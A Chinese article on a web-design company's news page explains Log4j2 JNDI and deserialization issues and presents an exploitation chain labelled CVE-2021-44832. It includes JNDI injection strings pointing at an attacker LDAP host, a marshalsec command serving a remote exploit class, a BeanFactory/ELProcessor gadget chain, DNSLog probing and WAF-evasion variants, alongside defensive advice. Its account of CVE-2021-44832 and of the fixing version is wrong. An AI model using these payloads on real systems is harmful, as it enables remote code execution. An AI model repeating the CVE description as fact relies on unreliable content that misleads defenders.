ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Log4j2反序列化绕过:FilteredObjectInputStream盲区与CVE-2021-44832原理分析

Log4j2反序列化绕过:FilteredObjectInputStream盲区与CVE-2021-44832原理分析 Log4Shell爆出来的那几周大多数人盯着${jndi:这个前缀排查把 JndiLookup 一关就以为自己安全了。真正去看补丁的人会注意到2.15.0 之后 Log4j2 内部多了一个叫FilteredObjectInputStream的类专门用来给反序列化过程加白名单。这个类看起来很稳但后来的 CVE-2021-44832 证明它在 JNDI 的 Reference 解析机制面前存在一个很隐蔽的盲区。这篇文章就从FilteredObjectInputStream的源码出发把这条 Log4J2 反序列化绕过链的原理、复现步骤和修复逻辑完整过一遍顺便聊聊在 CTF 和授权攻防里怎么看待这类 RCE 问题。1. 从Log4Shell到FilteredObjectInputStream这个补丁类是怎么来的1.1 2.15.0的修复到底改了哪些地方Log4ShellCVE-2021-44228的根因是 Log4j2 的 JNDI Lookup 允许从外部 LDAP/RMI 服务器拉取对象攻击者把${jndi:ldap://attacker/exp}这样的字符串塞进日志日志框架在格式化时触发 JNDI 查询最终在目标 JVM 里实例化恶意类。2.15.0 的官方修复思路是分层收口收紧消息查找的求值范围、默认限制 JNDI 能访问的协议和远程类加载、同时给反序列化入口加白名单过滤器。FilteredObjectInputStream就是这批补丁里一个关键的类它的目标很明确——凡是 Log4j2 内部需要调用ObjectInputStream.readObject()的地方都套一层类名白名单校验防止攻击者投递任意反序列化 Gadget。但补丁发布后很快出现了 CVE-2021-45046说明 2.15.0 的过滤存在可以被绕过的路径。到了 2.16.0官方直接把 JndiLookup 默认关闭还把消息查找彻底移除。然而 2.16.0 又爆出 CVE-2021-45105拒绝服务紧接着就是 CVE-2021-44832——这次的问题正好出在FilteredObjectInputStream本身存在管不到的分支。1.2 ObjectMessage为什么需要反序列化很多人有个误区以为 Log4j2 只在 JNDI Lookup 里才会碰反序列化。实际上 Log4j2 的ObjectMessage天生就支持把 Java 对象写进日志然后在另一个节点通过 SocketAppender 等传输手段恢复出来。接收端接收日志字节流后要调用ObjectInputStream.readObject()把对象还原这个入口本身就是 Java 原生反序列化的攻击面。如果攻击者能控制传入ObjectMessage的对象或者能影响日志事件的序列化内容就会触发 readObject 的逻辑。所以 2.15.0 引入FilteredObjectInputStream时不只是保护 JNDI也在保护这些日志传输场景。问题在于这个保护只覆盖了“直接反序列化”的路径而 JNDI 解析参考对象时走的是另一条路。1.3 影响版本与触发前提把这一系列漏洞的时间线拉出来看会更清晰CVE编号影响版本修复版本问题本质CVE-2021-442282.0-beta9 ~ 2.14.12.15.0JNDI Lookup 远程类加载导致 RCECVE-2021-450462.15.02.16.0消息查找和自定义 Lookup 绕过部分场景 RCECVE-2021-451052.16.02.17.0嵌套查找导致无限递归拒绝服务CVE-2021-448322.16.0 及之前2.17.0Reference 工厂加载路径绕过 FilteredObjectInputStreamCVE-2021-44832 的触发前提比较特殊2.16.0 默认把 JndiLookup 关掉了但应用如果显式设置系统属性log4j2.enableJndiLookuptrue重新开启或者通过某些自定义 Lookup 组合又回到 JNDI 查询攻击面就会重新暴露。正是在这种“开了历史遗留功能”的配置下FilteredObjectInputStream 的盲区被利用演变成 RCE。这个前提在实际环境里很常见很多历史应用为了兼容老功能确实会把这个开关重新打开。2. 拆解FilteredObjectInputStream的过滤逻辑2.1 resolveClass覆写与白名单判定FilteredObjectInputStream在 Log4j2 源码里的位置是org.apache.logging.log4j.core.net包它继承自 JDK 的ObjectInputStream核心工作是覆写resolveClass方法。resolveClass是 Java 反序列化期间每次遇到类描述符时都会调用的钩子readObject 在创建任何对象之前都会先经过这里拿到底层类的 Class 对象。所以拦截住resolveClass就相当于在类实例化前设了一道安检。核心逻辑可以简化成下面这段示意代码public class FilteredObjectInputStream extends ObjectInputStream { private final SetString allowedClasses new HashSet(); private final SetString allowedPatterns new HashSet(); public FilteredObjectInputStream(InputStream in, CollectionString allowedClasses, CollectionString allowedPatterns) throws IOException { super(in); this.allowedClasses.addAll(allowedClasses); this.allowedPatterns.addAll(allowedPatterns); } Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!isAllowed(className)) { throw new InvalidClassException(Class className is not allowed); } return super.resolveClass(desc); } private boolean isAllowed(String className) { // 精确匹配优先 if (allowedClasses.contains(className)) { return true; } // 前缀匹配兜底 for (String prefix : allowedPatterns) { if (className.startsWith(prefix)) { return true; } } return false; } }这段逻辑非常直观精确匹配一个集合前缀匹配一个集合剩下的一律抛异常。假如攻击者直接反序列化一条 CommonsCollections 链第一个出现在流里的org.apache.commons.collections.functors.InvokerTransformer就会被精确匹配和前缀匹配同时漏掉因为类名不在白名单里。所以在“直接反序列化”这个场景下这个过滤器是真的有效。2.2 allowedClasses与allowedPatterns的实际配置FilteredObjectInputStream自己不知道哪些类合法合法列表由调用方在构造时传入。Log4j2 在不同的使用场景里会给它喂不同的白名单。使用场景allowedClasses 示例allowedPatterns 示例JNDI 解析阶段javax.naming.Reference、com.sun.jndi.ldap.LdapCtx$CompositeNames 等javax.naming.、com.sun.jndi.、java.lang.ObjectMessage 反序列化java.lang.String、java.util.HashMap 等基础对象应用自行配置的包名前缀这里有个关键细节白名单策略只解决“哪些类可以被直接创建”的问题它没有能力验证“这些类在被创建之后会做什么”。JNDI 协议里客户端拿到的往往不是最终对象而是一个对象工厂的引用描述真正干活的是工厂类的方法。所以白名单再严也只能拦住 Class 加载这一环拦不住后续的对象工厂流程。2.3 过滤器的边界它管不到哪一层Java 里创建对象不止有ObjectInputStream.readObject()这一条路。以 JNDI 为例InitialContext.lookup()解析一个 LDAP URL 时拿到的是javax.naming.Reference对象然后 JNDI 的NamingManager.getObjectInstance()会读取 Reference 里的javaFactory字段反射实例化一个本地工厂类再调用工厂的getObjectInstance()方法返回真正的业务对象。这条流程绕开了ObjectInputStream的resolveClass也就是说 FilteredObjectInputStream 在这里完全不被触发。这就是它的边界它挂在“反序列化”这条路上但 JNDI Reference 的对象创建走的是“对象工厂实例化”这条路。两者虽然最终都是为了创建对象过程却完全不同。CVE-2021-44832 的本质就是攻击者把恶意逻辑从第一条路挪到了第二条路。3. CVE-2021-44832绕过链JNDI Reference是如何漏过去的3.1 高版本JDK的trustURLCodebase限制不等于安全很多人在讨论 Log4Shell 时都会提一句“JDK 8u191 默认禁止了远程类加载所以高版本 JDK 不受影响”。这个说法只对了一半。com.sun.jndi.ldap.object.trustURLCodebasefalse确实会让 JNDI 不再从远程javaCodeBase加载类这能挡住远程托管恶意 class 的方式。但 JNDI Reference 机制还有第二种加载来源本地 classpath。Reference 的javaFactory字段指向的是客户端 JVM 本地已经存在的类这类加载不受 trustURLCodebase 限制。也就是说攻击者不需要上传任何 class 文件只需要诱导目标 JVM 实例化本地已有的类再通过这个类的某些方法达到命令执行目的。这就像你家门锁换了个高级指纹锁但门边的窗户没关。指纹锁挡住了从门进来的小偷可对方压根没打算走门。3.2 Reference对象的工厂加载路径与ObjectInputStream分叉完整的绕过路径可以拆成下面几步日志消息中出现${jndi:ldap://attacker:1389/exp}JndiLookup 将 URL 交给InitialContext.lookup()处理。恶意 LDAP 服务器监听 1389 端口返回一个自定义条目其中javaClassNamejavax.naming.Reference。客户端 LDAP 驱动把这个条目构造成一个javax.naming.Reference对象内部记录javaFactoryorg.apache.naming.factory.BeanFactory。JNDI 调用NamingManager.getObjectInstance()反射生成BeanFactory实例。BeanFactory.getObjectInstance()读取 Reference 中的剩余属性按照forceString等参数执行一次方法调用命令执行完成。第 4、5 步完全发生在 FilteredObjectInputStream 的监控范围之外。Log4j2 的补丁确实在反序列化入口拦住了恶意类但 JNDI 协议内部走的是 ObjectFactory 机制这个机制不经过ObjectInputStream所以类名白名单对它来说形同虚设。3.3 本地工厂Gadget的依赖与拼接利用链能否打通取决于目标 classpath 里有哪些本地类可以当工厂。比较常用的一条链是 Tomcat 环境下的BeanFactory ELProcessororg.apache.naming.factory.BeanFactory来自 Tomcat 的 catalina 模块它在getObjectInstance里支持通过forceString属性强制调用目标对象的方法。javax.el.ELProcessor是 Tomcat 自带的 EL 表达式解析类eval方法可以直接执行 EL 表达式比如Runtime.getRuntime().exec()调用。恶意 LDAP 返回的 Reference 可以设置forceStringexp.ELProcessor.evalBeanFactory 创建 ELProcessor 对象后就会把后续的表达式字符串交给它执行。如果在目标类路径里没有 ELProcessor还可以换 Groovy 的GroovyShell.evaluate或者 Spring 的SpelExpressionParser思路完全一样关键是找到本地存在且可被工厂机制调用的类。这条链的依赖属于常规 Web 组件Tomcat 是 Java Web 应用最常见的基础设施所以实际命中率相当高。4. 本地复现的关键步骤与坑4.1 环境版本组合的选择复现这类漏洞环境组合很关键。我建议用下面的组合JDK 8u191 或 11.0.1模拟高版本 JDK 默认禁用远程类加载的生产环境。Log4j2 2.16.0复现的是 2.17.0 之前的版本。应用启动时加上-Dlog4j2.enableJndiLookuptrue把默认关闭的 JndiLookup 重新打开。依赖里带上 Tomcat 的tomcat-embed-core和tomcat-embed-el确保BeanFactory和ELProcessor在 classpath 里。这个组合的好处是贴近真实trustURLCodebase 限制没有被开发者手动关闭完全靠 JNDI Reference 的本地类加载完成利用。如果拿一台纯 JDK 环境复现没有 BeanFactory 和 ELProcessor会看到链在工厂实例化这一步断掉反而容易误判成漏洞不存在。4.2 恶意LDAP服务的搭建与验证搭建恶意 LDAP 服务最常用的方式是借助开源工具比如 marshalsecjava -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8000/#Exploit 1389这条命令会启动一个 LDAP 服务返回的 Reference 对象指向远程 HTTP 服务器上的Exploit类。这对应的是传统远程 codebase 利用方式。如果要验证 CVE-2021-44832 这种本地工厂绕过需要手动构造 LDAP 返回的 Reference 属性把javaFactory指向org.apache.naming.factory.BeanFactory再配合forceString参数触发 EL 表达式执行。验证是否被触发用 DNSLog 是最快的${jndi:ldap://your-id.dnslog.cn/exp}把这段字符串作为日志信息输入观察 DNSLog 是否收到解析记录。收到记录说明 JNDI 查找已经被触发接下来再替换成完整利用链验证命令执行。很多场景里命令执行没有回显用sleep 5或者让目标访问一个可控地址来确认效果比盲目拼命令靠谱得多。4.3 复现中的典型报错和排错记录复现过程中有几个高频问题我踩过的和经验里常见的都列一下ClassNotFoundException: org.apache.naming.factory.BeanFactory。这是最常见的说明 pOM 里没有 Tomcat 相关依赖。解决办法是补上tomcat-embed-core或者换用其他本地工厂链。ClassNotFoundException: javax.el.ELProcessor。BeanFactory 有了但 EL 表达式引擎不在 classpath。Tomcat 的tomcat-embed-el单独控制记得加。日志打印JNDI lookup is disabled。这是 2.16.0 默认行为必须在启动参数里显式设置-Dlog4j2.enableJndiLookuptrue。LDAP 服务连接超时。常见原因是目标机器访问不了攻击机 IP或者防火墙拦截了 1389 端口。先用本地 PC 模拟一遍连通性。命令执行无回显。不要依赖回显执行sleep 5观察延迟或者让目标主动访问一个你能观测到的地址。5. 2.17.0修复机制与防御建议5.1 JndiManager的allowedClass机制2.17.0 的修复没有再停留在 ObjectInputStream 层面而是把检查点挪到了 JNDI 对象返回之后。Log4j2 的JndiManager增加了允许类和允许类前缀的配置逻辑类似 FilteredObjectInputStream但作用位置不同public class JndiManager { private static final String[] DEFAULT_ALLOWED_CLASSES { java.lang.String, java.lang.Integer, java.lang.Long }; private static final String[] DEFAULT_ALLOWED_CLASS_PATTERNS { java.lang., javax.naming., com.sun.jndi. }; }JNDI lookup 拿到最终返回对象后会先对对象的实际类型做一次白名单匹配匹配失败直接抛异常。这样即使攻击者用 Reference 本地工厂方式实例化了某个中间类最终返回给 Log4j2 的对象类型也会被卡住。具体白名单列表在不同小版本里有差异以对应版本源码为准这里只帮助理解设计思路。这套机制和 FilteredObjectInputStream 形成了互补一个管反序列化的类创建前一个管 JNDI 的对象返回后。但要注意的是工厂类的方法在返回对象之前可能已经执行了所以事后类型检查并不能百分百阻止所有副作用官方依然建议默认关闭 JndiLookup。5.2 升级之外的必要收敛措施修复漏洞不能只靠升级尤其在 Java 应用组件版本纠缠不清的情况下。我的建议是至少做这几件事升级 Log4j2 到 2.17.1 或更高版本如果条件允许直接上 2.20。保持-Dlog4j2.enableJndiLookupfalse不要为了兼容旧功能轻易打开。日志格式里尽量不用%m直接拼接用户输入对用户可控字段单独打点。在 WAF 或应用入口层过滤用户输入中的${和jndi:关键词作为兜底手段。网络层封禁应用服务器到公网的 LDAP 1389、RMI 1099 等端口出向流量让 JNDI 就算被触发也连不到攻击者。这些措施单看每一条都不完美但叠加在一起能有效提升攻击门槛。5.3 CTF与授权测试中的识别和利用启示在 CTF 和授权攻防里Java 系的 Log4j RCE 和 PHP 系的pcntl_exec函数 RCE、命令注入绕过完全是两个物种。PHP RCE 关注的是函数黑名单绕过、空格过滤、关键字拼接而 Log4j RCE 关注的是入口处的日志可控和 JNDI 链路的可达性。识别特征其实很明显目标是一个 Java Web 应用且日志中会打印 User-Agent、X-Forwarded-For、请求参数等用户输入。丢一个${jndi:ldap://dnslog/exp}进去如果 DNSLog 有回连就说明 JNDI 查询链路通着。在 ctfhub、pikachu 这类靶场的 RCE 题目里如果考的是 Log4j 类型大概率会有这个特征而不是传统的命令执行接口。绕 WAF 时常见的方向是嵌套表达式和编码变体比如${${lower:j}ndi:ldap://...}、大小写变形、多层嵌套求值。核心思路是用 Log4j2 的表达式递归求值能力把 WAF 只认${jndi:字符串的简单匹配躲过去。这类绕过网上资料很多但在实际复现前一定要确认目标版本支持这些语法不同版本的 Lookup 求值差异挺大的。复盘完这个洞我最大的感受是每次官方补了一个过滤器都应该先问一句这个过滤器挂在哪条路径上。FilteredObjectInputStream 挂上了反序列化这条路但 JNDI Reference 走的是 ObjectFactory 路线没被覆盖到于是漏了。以后看到任何以白名单为核心的 Java 反序列化防护第一反应都应该是找一找有没有不走 ObjectInputStream 的对象创建路径找到那条路所谓的“安全”往往就不攻自破了。
返回列表